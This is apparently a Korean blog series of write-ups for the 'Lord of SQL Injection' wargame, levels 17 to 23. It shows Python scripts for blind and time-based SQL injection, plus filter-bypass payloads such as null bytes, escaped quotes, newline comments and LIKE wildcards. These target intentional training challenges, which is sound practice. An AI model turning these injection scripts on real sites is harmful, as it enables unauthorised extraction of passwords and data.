드디어 Lord Of Sql Injection을 올 클리어 했다.

처음 푸는 워게임이라 많은 시간이 들었다.

이제 los는 올 클리어다!!!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS ALL CLEAR  (0) 2018.01.23
LOS 23번  (0) 2018.01.23
LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27

대망의 마지막 문제.

umaru 이다.

소스를 분석하자면 reset_flag함수는 md5로 암호시킨 값의 8번째 자리부터 16개를 뽑아서 new_flag로 만들어 주고

그 값을 los_id와 함께 prob_umaru 테이블로 만들어 준다.


그리고 본문으로 들어와서

우리는 get방식으로 flag변수를 받는다.

그리고 이 변수는 preg_match로 필터링 해줄 것이고

100글자를 넘어서도 안된다.

그리고 우리가 flag로 넣어주는 값과 reset_flag로 만들어준 new_flag값이 같으면

풀리고 아니면 다시 reset_flag함수로 값을 바꿔버린다.

즉 우리는 새로운 값으로 만들어 주지않게 하면서 답을 알아내어야 하는 것이다.

우리는 flag값을 알아내어야 함으로 blind sql injection을 해야하지만

error를 통해 얻어지는 페이지나 반응이 없기 때문에

우리는 time-based sql injection을 사용해야 할 것이다.


처음에 16자리 라는 것은 쉽게 알 수 있다.

하지만 쿼리문을 만들기 상당히 힘든 것을 알 수 있다.

우선 우리는 error를 내어서 reset시키지 않아야 하고 

반응을 이끌어 내어야 하기 때문에

sleep함수를 사용해야 한다.


import urllib.request

import time


if __name__ == "__main__":

    answer = ''

    time2=3

    code = [num for num in range(48,58)]+[num for num in range(97,103)]

    head = {'Cookie':'PHPSESSID= 각자의 쿠키값','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

    for i in range(1,17):

        for j in code:

            start = time.time()

            req = urllib.request.Request("http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=(select 1 union select sleep(3*(flag like %27"+answer+str(chr(j))+"%%27)))",headers=head)

            data = urllib.request.urlopen(req).read()

            end = time.time()

            time1 = end-start

            print(str(chr(j)),time1)

            if time1 > time2:

                print(i,chr(j))

                answer += str(chr(j))

                print(answer)

                break;


이렇게 짜면 sleep시간이 참일 때에만 3초간의 delay가 발생한다.

이 시간을 이용해서 참 값을 알아낼 수 있다.


드디어 대망의 올 클리어!!!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS ALL CLEAR  (0) 2018.01.23
LOS 23번  (0) 2018.01.23
LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27

간만에 LOS를 풀게되었다.


우선 소스를 보면 IF, CASE WHEN등이 막혀있고

select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'

의 쿼리문에 pw가 get방식으로 들어간다.

그리고 결국 암호문을 알아내어서 pw를 입력해야 클리어 하는 구조.


우선 %27을 넣으니 아무화면도 안뜬다.

보니 여기는 에러가 나면 아무 화면도 안뜨는 것으로 판단할 수 있다.

보통 참일 때는 그냥 화면이 뜬다.

우선 

pw문에

pw='or (id='admin' and (select length(pw)=8 union select 1))#를 넣어서 길이를 알아내고

import urllib.request

import re


if __name__ == "__main__":

    code = [num for num in range(33,127)]

    head = {'Cookie':'__cfduid=d62a3d60e5d1fcac55aa9500fa25c73de1516581774; PHPSESSID=vbafd946rt7cbv1i37v9tfon03','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}

    for i in range(1,9):

        for j in code:

            req = urllib.request.Request("http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20or%20(id=%27admin%27%20and%20(select%20substr(pw,"+str(i)+",1)=%27"+str(chr(j))+"%27%20union%20select%201))%23",headers=head)

            data = urllib.request.urlopen(req).read()

            data = data.decode('UTF-8')

            find = re.findall("query",data)    

            if find:

                print(i,"->",chr(j))

이 파이썬 3으로 짠 소스로 blind sqlinjection으로 알아내면 된다.

소스를 짜는 것은 blind sqlinjection은 한번 짜놓으면 조금씩 수정해 놓을 수 있어서 좋다.



22번도 클리어!!!

'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS ALL CLEAR  (0) 2018.01.23
LOS 23번  (0) 2018.01.23
LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27

이제는 드래곤이다.

먼저 들어가자마자 나를 게스트라고 안내하는 데 id = 'guest'를 지정해놓고 주석을 걸어버렸다!

하지만 #은 한줄 주석인 것을 알고있기때문에 

%0a로 개행을 해주고 앞의 값들을 false 로 만들어주고 id = 'admin'을 만들어주면 


드래곤도 클리어~!!!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS 23번  (0) 2018.01.23
LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27
LOS 16번  (0) 2017.08.27

이제는 참 이상한 문제가 나오네..


일단은 6문자 안에 끝을 내어야한다..

그래서 저 괄호를 닫고 뒤를 참으로 만들어 주면 될것 같다는 느낌이 들었다.


그래서 일단은 pw=');%00 으로 앞의 괄호를 닫고 뒤를 주석처리 하는것 까지는 생각해내었다


그런데 참값인 1을 넣어도 도무지 풀리지않았다...


그래서 인터넷을 찾아본 결과 

"ABC"=1은 거짓이지만

"ABC"=0은 참이라고 한다

SQL에서 임의의 문자열을 나타내는 역할이기 때문이란다!

그래서 =0을 해본결과 

악몽도 클리어!!!



'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS 22번  (0) 2018.01.22
LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27
LOS 16번  (0) 2017.08.27
LOS 15번  (0) 2017.08.25

이제는 뭐 preg_match로 다 막아놔서 쓸수있는게 거의 없다..

뭐 이것저것 넣어봐도 알수있는게 없어서 힌트를 보았다.

'\'를 써서 푼다는 것이었는데

이것에 대하여 좀더 조사해본결과 \'가 되면서 특수문자가 일반문자가 되고 그렇게 됨으로서 pw의 앞의 싱글쿼터가 id='의 뒷 쿼터가 될수있다!

그렇게 된다면 pw는 틈이 생기고 그 사이로 집어 넣고 주석으로 닫으면 될 것 같았다.

이런식으로 막아주고

서큐버스도 클리어!

갈수록 혼자서는 풀기 힘들어진다!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS 20번  (0) 2017.08.28
LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27
LOS 16번  (0) 2017.08.27
LOS 15번  (0) 2017.08.25
LOS 14번  (0) 2017.08.22

이번에는 문제에 걸려있는 블락이 또 다른형태인 ereg로 나와있다.

다른 것들은 preg_match 인 반면 ' 만 ereg로 봐서는 ereg를 뚫어야 할 것 같다.

역시 그냥 ' 으로는 뚫리지 않는다.

그래서 ereg를 우회하는 방법을 찾아본 결과;

PHP5.2+에서는 ereg에가 무난하게 블락해주지만

PHP5.3+부터는 %00인 NULL값을 앞에 붙여준 형태로

id=%00' 을 해주면 블락하지 못하는 것을 알수있다!!

PHP5.3+부터는 POSIX Regex함수를 사용하지 않는다고 한다.



그리하여 pw=%00' 으로 해 놓고 id 길이를 넣어보던 중 length(id)=5를 치자 뚫렸다!

좀비어쌔신도 클리어!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS 18번  (0) 2017.08.27
LOS 17번  (0) 2017.08.27
LOS 16번  (0) 2017.08.27
LOS 15번  (0) 2017.08.25
LOS 14번  (0) 2017.08.22
LOS 13번  (0) 2017.08.22


이제는 문제의 유형이 많이 바뀌어 버렸다.

이것저것 넣어보았지만 못찾던 차에 인터넷을 뒤지던중 % 는 정규식에서 임의의 문자가 0번 이상 반복된다는 것을 의미한다는 정보를 얻었다.

일단 먼저 %를 넣어보았더니 익숙한 ' Hello guest'를 얻었다!

그렇게 하나하나 넣어보니 8에서 하나 걸렸고

그다음은 3

그다음은 2에서 걸려 '832'로 풀렸다!!!


새로운 방법으로 어쌔신 클리어!


'WebHacking > Lord Of Sqlinjection' 카테고리의 다른 글

LOS 17번  (0) 2017.08.27
LOS 16번  (0) 2017.08.27
LOS 15번  (0) 2017.08.25
LOS 14번  (0) 2017.08.22
LOS 13번  (0) 2017.08.22
LOS 12번  (0) 2017.08.17

+ Recent posts